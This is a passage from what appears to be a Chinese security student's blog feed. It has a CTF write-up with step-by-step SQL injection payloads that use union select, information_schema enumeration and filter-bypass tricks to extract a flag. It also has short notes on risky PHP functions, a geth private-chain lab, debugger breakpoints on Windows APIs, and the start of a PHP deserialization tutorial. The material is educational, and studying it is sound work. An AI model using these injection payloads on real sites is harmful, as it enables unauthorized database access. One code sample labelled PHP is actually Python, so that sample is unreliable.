class="hljs-variable">$con1</span>));<br><span class="hljs-keyword">echo</span> <span class="hljs-string">&quot;&lt;/font&gt;&quot;</span>;  <br>    &#125;<br><span class="hljs-comment">/* close connection */</span><br><span class="hljs-title function_ invoke__">mysqli_close</span>(<span class="hljs-variable">$con1</span>);<br><br></code></pre></td></tr></table></figure><p>对输入的参数没有进行严格的过滤，攻击者构造恶意的攻击语句造成了SQL注入攻击，存在回显点，可以进行联合注入，并且如果出现错误，会输出报错信息，这里也可以使用显错注入。<br>还可以看到，这里的SQL语句查询使用的是mysqli_multi_query函数，mysqli_multi_query函数可以执行多条SQL语句。</p><p>别人得wp直接拿过来，下次给我启发<br>[SWPUCTF 2021 新生赛]sql</p><ol><li><p>测试</p><blockquote><p>?wllm&#x3D;1 – 正常<br>?wllm&#x3D;1’ – 报错<br>?wllm&#x3D;1’%23 –%23&gt;#– 正常<br>?wllm&#x3D;1’or 1&#x3D;1%23 – 发现有过滤  </p></blockquote></li><li><p>测试过滤</p><blockquote><p>空格，等号<br>空格&#x3D;&gt;&#x2F;xx&#x2F;<br>等号&#x3D;?like</p></blockquote></li><li><p>测试注入</p></li></ol><ul><li>测试长度  <blockquote><p>?wlmm&#x3D;1’order&#x2F;**&#x2F;by&#x2F;**&#x2F;3%23 – 正常<br>?wlmm&#x3D;1’order&#x2F;**&#x2F;by&#x2F;**&#x2F;4%23 – 错误<br>– 测试长度为3</p></blockquote></li><li>测试回显  <blockquote><p>?wlmm&#x3D;-1’union&#x2F;**&#x2F;select&#x2F;**&#x2F;1,2,3%23 # 2,3回显位置</p></blockquote></li><li>查库  <blockquote><p>?wllm&#x3D;-1’union&#x2F;**&#x2F;select&#x2F;**&#x2F;1,2,database()%23 # test_db</p></blockquote></li><li>查表  <blockquote><p>wllm&#x3D;-1’union&#x2F;**&#x2F;select&#x2F;**&#x2F;1,2,group_concat(table_name)&#x2F;**&#x2F;from&#x2F;**&#x2F;information_schema.tables&#x2F;**&#x2F;where&#x2F;**&#x2F;table_schema&#x2F;**&#x2F;like&#x2F;**&#x2F;‘test_db’%23 – LTLT_flag,users</p></blockquote></li><li>查列  <blockquote><p>wllm&#x3D;-1’union&#x2F;**&#x2F;select&#x2F;**&#x2F;1,2,group_concat(column_name)&#x2F;**&#x2F;from&#x2F;**&#x2F;information_schema.columns&#x2F;**&#x2F;where&#x2F;**&#x2F;table_schema&#x2F;**&#x2F;like&#x2F;**&#x2F;‘test_db’%23<br>– id,flag,id,username</p></blockquote></li><li>查内容<blockquote><p>?wllm&#x3D;-1’union&#x2F;**&#x2F;select&#x2F;**&#x2F;1,2,group_concat(flag)&#x2F;**&#x2F;from&#x2F;**&#x2F;test_db.LTLT_<br>flag%23<br>– NSSCTF{e99758c1-d31b</p></blockquote></li><li>位数长度不足<br>使用截断函数进行绕过，substr，right，REVERSE 被过滤（测试出来的），只能用mid</li><li>mid截取，因为回显只能有20个，所以20，一组截取<blockquote><p>?wllm&#x3D;-1’union&#x2F;**&#x2F;select&#x2F;**&#x2F;1,2,mid(group_concat(flag),20,20)&#x2F;**&#x2F;from&#x2F;**&#x2F;tes<br>t_db.LTLT_flag%23</p></blockquote></li><li>需要读三组<br>NSSCTF{e99758c1-d31b-4497-8d44-abfe84caa0ed}</li></ul><p>写一个可能有问题得点,-1为什么有显示，1没有显示<br>布尔逻辑：<br>在某些情况下，数据库会对输入进行布尔评估。比如，如果原始查询是：</p><blockquote><p>SELECT * FROM users WHERE active &#x3D; 1;  </p></blockquote><p>如果数据库中没有任何记录的 active 字段为 1，那么这个查询不会返回任何结果。但如果用 -1 替代，可能会导致返回符合条件的结果。<br>错误处理和信息泄露：</p><p>数据库在处理 1 和 -1 时的错误处理方式可能不同。例如，如果 1 导致一个错误或异常，而 -1 不会，这可能会导致不同的行为。在某些系统中，-1 可能被用作特定的标志，表示某种状态或条件。</p>]]></content>
    
    
    <categories>
      
      <category>WEB</category>
      
    </categories>
    
    
    <tags>
      
      <tag>sql</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>php函数初识</title>
    <link href="/2024/09/30/php%E5%88%9D%E8%AF%86/"/>
    <url>/2024/09/30/php%E5%88%9D%E8%AF%86/</url>
    
    <content type="html"><![CDATA[<p>本文讲对php的部分可能引起漏洞的部分函数进行讲解</p><span id="more"></span><h1 id="php函数初识"><a href="#php函数初识" class="headerlink" title="php函数初识"></a>php函数初识</h1><h2 id="1-phpinfo"><a href="#1-phpinfo" class="headerlink" title="1. phpinfo()"></a>1. phpinfo()</h2><p>phpinfo() 函数会显示 PHP 配置信息以及当前的 PHP 环境信息，包括服务器信息、操作系统信息、PHP 版本、已安装的扩展、环境变量等。这个函数通常用于调试和开发过程中查看 PHP 配置信息。</p><h2 id="2-eval"><a href="#2-eval" class="headerlink" title="2. eval()"></a>2. eval()</h2><p>eval() 函数会将传入的字符串作为 PHP 代码进行执行。如果传入的字符串包含恶意代码，eval() 函数将会执行这些恶意代码，从而可能导致代码注入漏洞。</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><code class="hljs php">&gt;&gt;&gt;x = <span class="hljs-number">7</span><br>&gt;&gt;&gt; <span class="hljs-keyword">eval</span>( <span class="hljs-string">&#x27;3 * x&#x27;</span> )<br><span class="hljs-number">21</span><br>&gt;&gt;&gt; <span class="hljs-keyword">eval</span>(<span class="hljs-string">&#x27;pow(2,2)&#x27;</span>)<br><span class="hljs-number">4</span><br>&gt;&gt;&gt; <span class="hljs-keyword">eval</span>(<span class="hljs-string">&#x27;2 + 2&#x27;</span>)<br><span class="hljs-number">4</span><br>&gt;&gt;&gt; n=<span class="hljs-number">81</span><br>&gt;&gt;&gt; <span class="hljs-keyword">eval</span>(<span class="hljs-string">&quot;n + 4&quot;</span>)<br><span class="hljs-number">85</span><br></code></pre></td></tr></table></figure><h2 id="3-preg-replace"><a href="#3-preg-replace" class="headerlink" title="3. preg_replace()"></a>3. preg_replace()</h2><p>preg_replace() 函数用于执行正则表达式替换操作。如果正则表达式不正确或者传入的替换字符串包含恶意代码，preg_replace() 函数将会执行这些恶意代码，从而可能导致代码注入漏洞。</p><h2 id="4-include-和-require"><a href="#4-include-和-require" class="headerlink" title="4. include() 和 require()"></a>4. include() 和 require()</h2><ul><li>incluce 在用到时加载<br>include 的文件中出错了，主程序继续往下执行</li><li>require 在一开始就加载<br>require 的文件出错了，主程序也停了</li><li>_once 后缀表示已加载的不加载</li></ul><h2 id="5-file-get-contents"><a href="#5-file-get-contents" class="headerlink" title="5. file_get_contents()"></a>5. file_get_contents()</h2><p>file_get_contents() 函数用于读取文件内容。如果传入的文件路径包含恶意代码，file_get_contents() 函数将会执行这些恶意代码，从而可能导致代码注入漏洞。</p><h2 id="6-system"><a href="#6-system" class="headerlink" title="6. system()"></a>6. system()</h2><p>system() 函数用于执行系统命令。如果传入的命令包含恶意代码，system() 函数将会执行这些恶意代码，从而可能导致命令注入漏洞。</p><h2 id="7-exec"><a href="#7-exec" class="headerlink" title="7. exec()"></a>7. exec()</h2>]]></content>
    
    
    <categories>
      
      <category>网络</category>
      
    </categories>
    
    
    <tags>
      
      <tag>php</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>区块链</title>
    <link href="/2024/09/27/%E5%8C%BA%E5%9D%97%E9%93%BE/"/>
    <url>/2024/09/27/%E5%8C%BA%E5%9D%97%E9%93%BE/</url>
    
    <content type="html"><![CDATA[<h1 id="区块链实验1"><a href="#区块链实验1" class="headerlink" title="区块链实验1"></a>区块链实验1</h1><p>第一张题目<br><img src="https://gitee.com/fogpost/photo/raw/master/202409200906200.png" srcset="/img/loading.gif" lazyload><br>区块链的操作引导<br>第一步查看引导<br><img src="https://gitee.com/fogpost/photo/raw/master/202409200919655.png" srcset="/img/loading.gif" lazyload><br>第二步节点一<br><img src="https://gitee.com/fogpost/photo/raw/master/202409200919341.png" srcset="/img/loading.gif" lazyload><br>第三步节点二<br><img src="https://gitee.com/fogpost/photo/raw/master/202409200919780.png" srcset="/img/loading.gif" lazyload><br>第四步添加节点<br><img src="https://gitee.com/fogpost/photo/raw/master/202409200920107.png" srcset="/img/loading.gif" lazyload><br>第五步，选中特定节点<br>第六步，选中状态标识<br><img src="https://gitee.com/fogpost/photo/raw/master/202409200921564.png" srcset="/img/loading.gif" lazyload><br>第七步节点卡片信息<br><img src="https://gitee.com/fogpost/photo/raw/master/202409200922747.png" srcset="/img/loading.gif" lazyload><br>第八步切换连接状态<br><img src="https://gitee.com/fogpost/photo/raw/master/202409200922040.png" srcset="/img/loading.gif" lazyload><br><img src="https://gitee.com/fogpost/photo/raw/master/202409200923900.png" srcset="/img/loading.gif" lazyload><br>第九步删除节点，操作期间删除被禁用<br><img src="https://gitee.com/fogpost/photo/raw/master/202409200923166.png" srcset="/img/loading.gif" lazyload><br><img src="https://gitee.com/fogpost/photo/raw/master/202409200923943.png" srcset="/img/loading.gif" lazyload><br>第十步通信按钮检查日志变化<br>第十一步通信日志展示节点间通信记录<br><img src="https://gitee.com/fogpost/photo/raw/master/202409200924117.png" srcset="/img/loading.gif" lazyload><br>第十二步显示选中节点的区块链状态<br><img src="https://gitee.com/fogpost/photo/raw/master/202409200925174.png" srcset="/img/loading.gif" lazyload><br>第十二步区块概要，点击可查看全部信息<br><img src="https://gitee.com/fogpost/photo/raw/master/202409200926983.png" srcset="/img/loading.gif" lazyload><br><img src="https://gitee.com/fogpost/photo/raw/master/202409200926289.png" srcset="/img/loading.gif" lazyload><br>第十四步，节点二挖矿按钮<br>第十五步提供打包交易和选择挖矿按钮<br><img src="https://gitee.com/fogpost/photo/raw/master/202409200927617.png" srcset="/img/loading.gif" lazyload><br>第十六步挖矿两次，观察，数据链数据变化包括区块和高度<br><img src="https://gitee.com/fogpost/photo/raw/master/202409200929661.png" srcset="/img/loading.gif" lazyload><br><img src="https://gitee.com/fogpost/photo/raw/master/202409200929913.png" srcset="/img/loading.gif" lazyload><br>第十七步观察余额<br><img src="https://gitee.com/fogpost/photo/raw/master/202409200931902.png" srcset="/img/loading.gif" lazyload><br>第十八步交易<br><img src="https://gitee.com/fogpost/photo/raw/master/202409200931858.png" srcset="/img/loading.gif" lazyload><br>第十九夫输入交易内容手续费选择UXTO创建交易<br><img src="https://gitee.com/fogpost/photo/raw/master/202409200933819.png" srcset="/img/loading.gif" lazyload><br>第二十步启动交易打包挖矿<br><img src="https://gitee.com/fogpost/photo/raw/master/202409200933749.png" srcset="/img/loading.gif" lazyload><br><img src="https://gitee.com/fogpost/photo/raw/master/202409200934133.png" srcset="/img/loading.gif" lazyload><br>第二十一步选择最后一个区块<br>第二十三步区块的详细信息<br><img src="https://gitee.com/fogpost/photo/raw/master/202409200935271.png" srcset="/img/loading.gif" lazyload></p>]]></content>
    
    
    <categories>
      
      <category>web3</category>
      
    </categories>
    
    
    <tags>
      
      <tag>course</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>区块链2</title>
    <link href="/2024/09/27/%E5%8C%BA%E5%9D%97%E9%93%BE2/"/>
    <url>/2024/09/27/%E5%8C%BA%E5%9D%97%E9%93%BE2/</url>
    
    <content type="html"><![CDATA[<h1 id="区块链技术实验2"><a href="#区块链技术实验2" class="headerlink" title="区块链技术实验2"></a>区块链技术实验2</h1><h2 id="安装以太坊"><a href="#安装以太坊" class="headerlink" title="安装以太坊"></a>安装以太坊</h2><p>sudo apt clear cache<br>sudo apt update<br>sudo apt-get install golang<br>sudo apt-get install make<br>sudo apt-get install git<br>sudo apt install build-essential<br>sudo apt-get install libltdl-dev<br>wget <a href="https://github.com/ethereum/go-ethereum/archive/refs/tags/v1.9.25.tar.gz">https://github.com/ethereum/go-ethereum/archive/refs/tags/v1.9.25.tar.gz</a><br>tar zxvf v1.9.25.tar.gz<br>获取压缩文件，并解压<br><img src="https://gitee.com/fogpost/photo/raw/master/202409250917601.png" srcset="/img/loading.gif" lazyload></p><h2 id="设置go代理"><a href="#设置go代理" class="headerlink" title="设置go代理"></a>设置go代理</h2><p>go env -w GO111MODULE&#x3D;on<br>go env -w GOPROXY&#x3D;<a href="https://mirrors.aliyun.com/goproxy/,direct">https://mirrors.aliyun.com/goproxy/,direct</a><br>cd go-ethereum-1.9.25<br>make geth<br>编译成功后添加path<br>nano .bashrc<br>#末尾添加<br>export PATH&#x3D;”$PATH:&#x2F;home&#x2F;kali&#x2F;go-ethereum-1.9.25&#x2F;build&#x2F;bin&#x2F;“<br>#ctrl+x 输入Y保存后执行<br>source .bashrc<br><img src="https://gitee.com/fogpost/photo/raw/master/202409250923077.png" srcset="/img/loading.gif" lazyload></p><h2 id="搭建私有链"><a href="#搭建私有链" class="headerlink" title="搭建私有链"></a>搭建私有链</h2><p>nano &#x2F;home&#x2F;kali&#x2F;genesis.json<br>#输入如下内容</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><code class="hljs json"><span class="hljs-punctuation">&#123;</span><br>  <span class="hljs-attr">&quot;config&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">&#123;</span><br>    <span class="hljs-attr">&quot;chainId&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-number">15665883188</span><span class="hljs-punctuation">,</span><br>    <span class="hljs-attr">&quot;homesteadBlock&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-number">0</span><span class="hljs-punctuation">,</span><br>    <span class="hljs-attr">&quot;eip150Block&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-number">0</span><span class="hljs-punctuation">,</span><br>    <span class="hljs-attr">&quot;eip150Hash&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;0x0000000000000000000000000000000000000000000000000000000000000000&quot;</span><span class="hljs-punctuation">,</span><br>    <span class="hljs-attr">&quot;eip155Block&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-number">0</span><span class="hljs-punctuation">,</span><br>    <span class="hljs-attr">&quot;eip158Block&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-number">0</span><span class="hljs-punctuation">,</span><br>    <span class="hljs-attr">&quot;byzantiumBlock&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-number">0</span><span class="hljs-punctuation">,</span><br>    <span class="hljs-attr">&quot;constantinopleBlock&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-number">0</span><span class="hljs-punctuation">,</span><br>    <span class="hljs-attr">&quot;petersburgBlock&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-number">0</span><span class="hljs-punctuation">,</span><br>    <span class="hljs-attr">&quot;istanbulBlock&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-number">0</span><span class="hljs-punctuation">,</span><br>    <span class="hljs-attr">&quot;ethash&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">&#123;</span><span class="hljs-punctuation">&#125;</span><br>  <span class="hljs-punctuation">&#125;</span><span class="hljs-punctuation">,</span><br>  <span class="hljs-attr">&quot;nonce&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;0x0&quot;</span><span class="hljs-punctuation">,</span><br>  <span class="hljs-attr">&quot;timestamp&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;0x5ddf8f3e&quot;</span><span class="hljs-punctuation">,</span><br>  <span class="hljs-attr">&quot;extraData&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;0x0000000000000000000000000000000000000000000000000000000000000000&quot;</span><span class="hljs-punctuation">,</span><br>  <span class="hljs-attr">&quot;gasLimit&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;0x47b760&quot;</span><span class="hljs-punctuation">,</span><br>  <span class="hljs-attr">&quot;difficulty&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;0x400&quot;</span><span class="hljs-punctuation">,</span><br>  <span class="hljs-attr">&quot;mixHash&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;0x0000000000000000000000000000000000000000000000000000000000000000&quot;</span><span class="hljs-punctuation">,</span><br>  <span class="hljs-attr">&quot;coinbase&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;0x0000000000000000000000000000000000000000&quot;</span><span class="hljs-punctuation">,</span><br>  <span class="hljs-attr">&quot;alloc&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">&#123;</span> <span class="hljs-punctuation">&#125;</span><span class="hljs-punctuation">,</span><br>  <span class="hljs-attr">&quot;number&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;0x0&quot;</span><span class="hljs-punctuation">,</span><br>  <span class="hljs-attr">&quot;gasUsed&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;0x0&quot;</span><span class="hljs-punctuation">,</span><br>  <span class="hljs-attr">&quot;parentHash&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;0x0000000000000000000000000000000000000000000000000000000000000000&quot;</span><br><span class="hljs-punctuation">&#125;</span><br></code></pre></td></tr></table></figure><p><img src="https://gitee.com/fogpost/photo/raw/master/202409250926397.png" srcset="/img/loading.gif" lazyload><br>相关说明<br>chainID:指定了独立的区块链网络 ID。网络 ID 在连接到其他节点的时候会用到，以太坊公网的网络 ID 是 1，为了不与公有链网络冲突，运行私有链节点的时候要指定自己的网络 ID。不同 ID 网络的节点无法相互连接。<br>alloc: 用来预置账号以及账号的以太币数量，因为私有链挖矿比较容易，所以我们不需要预置有币的账号，需要的时候自己创建即可以，默认为空即可。<br>coinbase: 矿工的账号，随便填即可。<br>difficulty: 设置当前区块的难度，如果难度过大，cpu挖矿就很难，这里设置较小难度。<br>extraData: 附加信息。这里要注意一下，新版本该值需要为16进制数据，以0x 开头。<br>gasLimit: 该值设置对GAS的消耗总量限制，用来限制区块能包含的交易信息总和，因为我们要做的是私有链，所以此处填最大。<br>nonce: nonce就是一个64位随机数(0x后一位为4个二进制位，故有16位），用于挖矿，注意他和mixhash的设置需要满足以太坊的Yellow paper, 4.3.4. Block Header Validity, (44)章节所描述的条件。<br>mixhash：与nonce配合用于挖矿，由上一个区块的一部分生成的hash。注意他和nonce的设置需要满足以太坊的Yellow paper, 4.3.4. Block Header Validity, (44)章节所描述的条件。<br>parentHash: 上一个区块的hash值，因为是创世块，所以这个值是0。<br>timestamp: 设置创世块的时间戳。  </p><h2 id="初始化创世区块"><a href="#初始化创世区块" class="headerlink" title="初始化创世区块"></a>初始化创世区块</h2><p>mkdir &#x2F;home&#x2F;kali&#x2F;privatechain<br>mv &#x2F;home&#x2F;kali&#x2F;genesis.json &#x2F;home&#x2F;kali&#x2F;privatechain<br>cd &#x2F;home&#x2F;kali&#x2F;privatechain<br>geth –datadir data0 init genesis.json<br>#返回successfully wrote genesis state 即成功<br><img src="https://gitee.com/fogpost/photo/raw/master/202409270915848.png" srcset="/img/loading.gif" lazyload><br>成功生成创世区块<br>启动私有链<br>geth –identity “SCAU” –rpc –rpcport “8545” –datadir data0 –port “30303” –rpcapi “db,eth,net,web3” –allow-insecure-unlock –networkid 65534 –nodiscover console<br>‘’’<br>启动成功<br><img src="https://gitee.com/fogpost/photo/raw/master/202409270917438.png" srcset="/img/loading.gif" lazyload><br>创建账户<br>personal.newAccount(“0000”)<br>personal.newAccount(“1234”)<br><img src="https://gitee.com/fogpost/photo/raw/master/202409270921285.png" srcset="/img/loading.gif" lazyload><br>查看用户，我们创建了两个用户，并获取账号<br>personal.listAccounts<br>personal.listAccounts[0]<br><img src="https://gitee.com/fogpost/photo/raw/master/202409270923613.png" srcset="/img/loading.gif" lazyload><br>查看账户余额，没有挖矿的情况下显示为0<br>eth.getBalance(personal.listAccounts[0])<br><img src="https://gitee.com/fogpost/photo/raw/master/202409270923628.png" srcset="/img/loading.gif" lazyload><br>解锁我们的0号账户输入密码，就是我们创建账户时用的0000<br>personal.unlockAccount(personal.listAccounts[0]);<br><img src="https://gitee.com/fogpost/photo/raw/master/202409270929356.png" srcset="/img/loading.gif" lazyload><br>然后我们开始挖矿<br>miner.start()一般用这个就行<br>注意这里开始挖矿后会提示Generating DAG in progress：生成DAG，它是用于以太坊工作量证明PoW算法的数据集，需要花一些时间去生成，是一个比较大的文件，每当生成30000块才会更新<br><img src="https://gitee.com/fogpost/photo/raw/master/202409270930561.png" srcset="/img/loading.gif" lazyload><br>停止挖矿<br>miner.stop()<br>eth.accounts：枚举系统中的账户；<br>eth.getBalance()：查看账户余额，单位是 Wei（Wei 是以太坊中最小货币面额单位，类似比特币中的聪，1 ether &#x3D; 10^18 Wei）；<br>eth.blockNumber：列出区块总数；<br>eth.getTransaction()：获取交易；<br>eth.getBlock()：获取区块；<br>web3.fromWei()：Wei 换算成以太币；<br>web3.toWei()：以太币换算成 Wei；<br>txpool.status：交易池中的状态；<br>admin.addPeer()：连接到其他节点；<br>挖矿成功后可以查看账户余额<br><img src="https://gitee.com/fogpost/photo/raw/master/202409270941668.png" srcset="/img/loading.gif" lazyload><br>打钱之前先解锁一下出钱的账户<br>personal.unlockAccount(personal.listAccounts[0]);<br>金额转换<br>amount &#x3D; web3.toWei(1,’ether’)<br>eth.sendTransaction({from:personal.listAccounts[0],to:personal.listAccounts[1],value:amount})<br><img src="https://gitee.com/fogpost/photo/raw/master/202409270942094.png" srcset="/img/loading.gif" lazyload><br>交易没有发生，要在打包挖矿后才会发生<br><img src="https://gitee.com/fogpost/photo/raw/master/202409270944030.png" srcset="/img/loading.gif" lazyload><br>开始挖矿，交易成功<br><img src="https://gitee.com/fogpost/photo/raw/master/202409270948911.png" srcset="/img/loading.gif" lazyload></p>]]></content>
    
    
    <categories>
      
      <category>web3</category>
      
    </categories>
    
    
    <tags>
      
      <tag>course</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>常见的API</title>
    <link href="/2024/09/27/%E5%B8%B8%E8%A7%81%E7%9A%84API/"/>
    <url>/2024/09/27/%E5%B8%B8%E8%A7%81%E7%9A%84API/</url>
    
    <content type="html"><![CDATA[<h3 id="常见的API接口查找方法"><a href="#常见的API接口查找方法" class="headerlink" title="常见的API接口查找方法"></a>常见的API接口查找方法</h3><p>写一些常见的API以后每次遇见我都会抄下来，写一下相关的解释和什么时候可以用到<br>我们要有一个想法，凡是这些api我们都知道这些都是系统所写好的东西，动态链接库给我们准备好的接口，就像c语言导入的头文件，但是很多强者也可能根本就不屑这些api自己实现，那么我们就完蛋了，但是也可以根据可能编写的代码，下断点，逆向本质就是由汇编看代码</p><h4 id="od快速查找"><a href="#od快速查找" class="headerlink" title="od快速查找"></a>od快速查找</h4><p>突然发现od早就有古人创建的api断电器了，可喜可贺可喜可贺<br><img src="https://gitee.com/fogpost/photo/raw/master/202409201016637.png" srcset="/img/loading.gif" lazyload></p><h4 id="od的命令行断点"><a href="#od的命令行断点" class="headerlink" title="od的命令行断点"></a>od的命令行断点</h4><p><img src="https://gitee.com/fogpost/photo/raw/master/202409201018652.png" srcset="/img/loading.gif" lazyload></p><h4 id="模块名称查找"><a href="#模块名称查找" class="headerlink" title="模块名称查找"></a>模块名称查找</h4><p><img src="https://gitee.com/fogpost/photo/raw/master/202409201018703.png" srcset="/img/loading.gif" lazyload><br><img src="https://gitee.com/fogpost/photo/raw/master/202409201019644.png" srcset="/img/loading.gif" lazyload></p><h3 id="常见的api"><a href="#常见的api" class="headerlink" title="常见的api"></a>常见的api</h3><h4 id="MessageBoxA"><a href="#MessageBoxA" class="headerlink" title="MessageBoxA"></a>MessageBoxA</h4><p>这个人尽皆知，在出现类似登录的窗口时当我们选择登录按键时便会发现，有弹窗便可以在此api下断点，到达判断位置</p><h4 id="GetwindowsTestA"><a href="#GetwindowsTestA" class="headerlink" title="GetwindowsTestA"></a>GetwindowsTestA</h4><p>这个的话是在登录窗口无明显回显时使用的方法可以获取我们的窗口输入文本</p><h4 id="易语言的窗口特征ID"><a href="#易语言的窗口特征ID" class="headerlink" title="易语言的窗口特征ID"></a>易语言的窗口特征ID</h4><p>看到004012AC这句代码 PUSH  5201008了吗<br>PUSH 10001，告诉你，这个是易语言通用的，每个窗口ID语句上面都会有一个PUSH 10001</p><h4 id="Openfile"><a href="#Openfile" class="headerlink" title="Openfile"></a>Openfile</h4><p>打开文件的api构建，用到再说</p><h4 id="GetDlgItemInt"><a href="#GetDlgItemInt" class="headerlink" title="GetDlgItemInt"></a>GetDlgItemInt</h4><p>将获取的文本转化为整数</p><h4 id="SetWindowsTextA"><a href="#SetWindowsTextA" class="headerlink" title="SetWindowsTextA"></a>SetWindowsTextA</h4><p>将某个窗口或者字段中的文字进行设定所调用的api窗口哦</p><h3 id="主要的dll"><a href="#主要的dll" class="headerlink" title="主要的dll"></a>主要的dll</h3><p>看样子我后面还要了解一下，这些api在那些dll里面了</p><p>kernel32.dll、user32.dll、gdi32.dll</p>]]></content>
    
    
    <categories>
      
      <category>逆向</category>
      
    </categories>
    
    
    <tags>
      
      <tag>reverse</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>web反序列化</title>
    <link href="/2024/09/27/web%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/"/>
    <url>/2024/09/27/web%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/</url>
    
    <content type="html"><![CDATA[<p>本人在学习php反序列化时，深感无力，发现并不能将发序列化作为一个小点，要从php底层开始理解</p><p>先了解一下php的魔术方法</p><blockquote><p>__construct()类的构造函数，在类实例化对象时自动调用构造函数<br>__destruct()类的析构函数，在对象销毁之前自动调用析构函数<br>__sleep()在对象被序列化（使用 serialize() 函数）之前自动调用，可以在此方法中指定需要被序列化的属性，返回一个包含对象中所有应被序列化的变量名称的数组<br>__wakeup()在对象被反序列化（使用 unserialize() 函数）之前自动调用，可以在此方法中重新初始化对象状态。<br>__set($property, $value)当给一个对象的不存在或不可访问(private修饰)的属性赋值时自动调用，传递属性名和属性值作为参数。<br>__get($property)当访问一个对象的不存在或不可访问的属性时自动调用，传递属性名作为参数。<br>__isset($property)当对一个对象的不存在或不可访问的属性使用 isset() 或 empty() 函数时自动调用，传递属性名作为参数。<br>__unset($property)当对一个对象的不存在或不可访问的属性使用 unset() 函数时自动调用，传递属性名作为参数。<br>__call($method, $arguments)调用不存在或不可见的成员方法时，PHP会先调用__call()方法来存储方法名及其参数<br>__callStatic($method, $arguments)当调用一个静态方法中不存在的方法时自动调用，传递方法名和参数数组作为参数。<br>__toString()当使用echo或print输出对象将对象转化为字符串形式时，会调用__toString()方法<br>__invoke()当将一个对象作为函数进行调用时自动调用。<br>__clone()当使用 clone 关键字复制一个对象时自动调用。<br>__set_state($array)在使用 var_export() 导出类时自动调用，用于返回一个包含类的静态成员的数组。<br>__debugInfo()在使用 var_dump() 打印对象时自动调用，用于自定义对象的调试信息。</p></blockquote><p>1.__construct<br>构造函数 __construct在实例化对象时便会自动执行该方法  </p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-meta">&lt;?php</span><br><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">User</span> </span>&#123;<br>    <span class="hljs-keyword">public</span> <span class="hljs-variable">$username</span>;<br>    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__construct</span>(<span class="hljs-params"><span class="hljs-variable">$username</span></span>) </span>&#123;<br>        <span class="hljs-variable language_">$this</span>-&gt;username = <span class="hljs-variable">$username</span>;<br>        <span class="hljs-keyword">echo</span> <span class="hljs-string">&quot;触发了构造函数1次&quot;</span> ;<br>    &#125;<br>&#125;<br><span class="hljs-variable">$test</span> = <span class="hljs-keyword">new</span> <span class="hljs-title class_">User</span>(<span class="hljs-string">&quot;benben&quot;</span>);    <span class="hljs-comment">//实例化对象时触发构造函数__construct()</span><br><span class="hljs-variable">$ser</span> = <span class="hljs-title function_ invoke__">serialize</span>(<span class="hljs-variable">$test</span>);       <span class="hljs-comment">//在序列化和反序列化过程中不会触发构造函数</span><br><span class="hljs-title function_ invoke__">unserialize</span>(<span class="hljs-variable">$ser</span>);<br><span class="hljs-meta">?&gt;</span><br></code></pre></td></tr></table></figure><p>2.__destruct()<br>析构函数__destruct,在对象被销毁时自动执行该方法</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-meta">&lt;?php</span><br><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">User</span> </span>&#123;<br>    <span class="hljs-keyword">public</span> <span 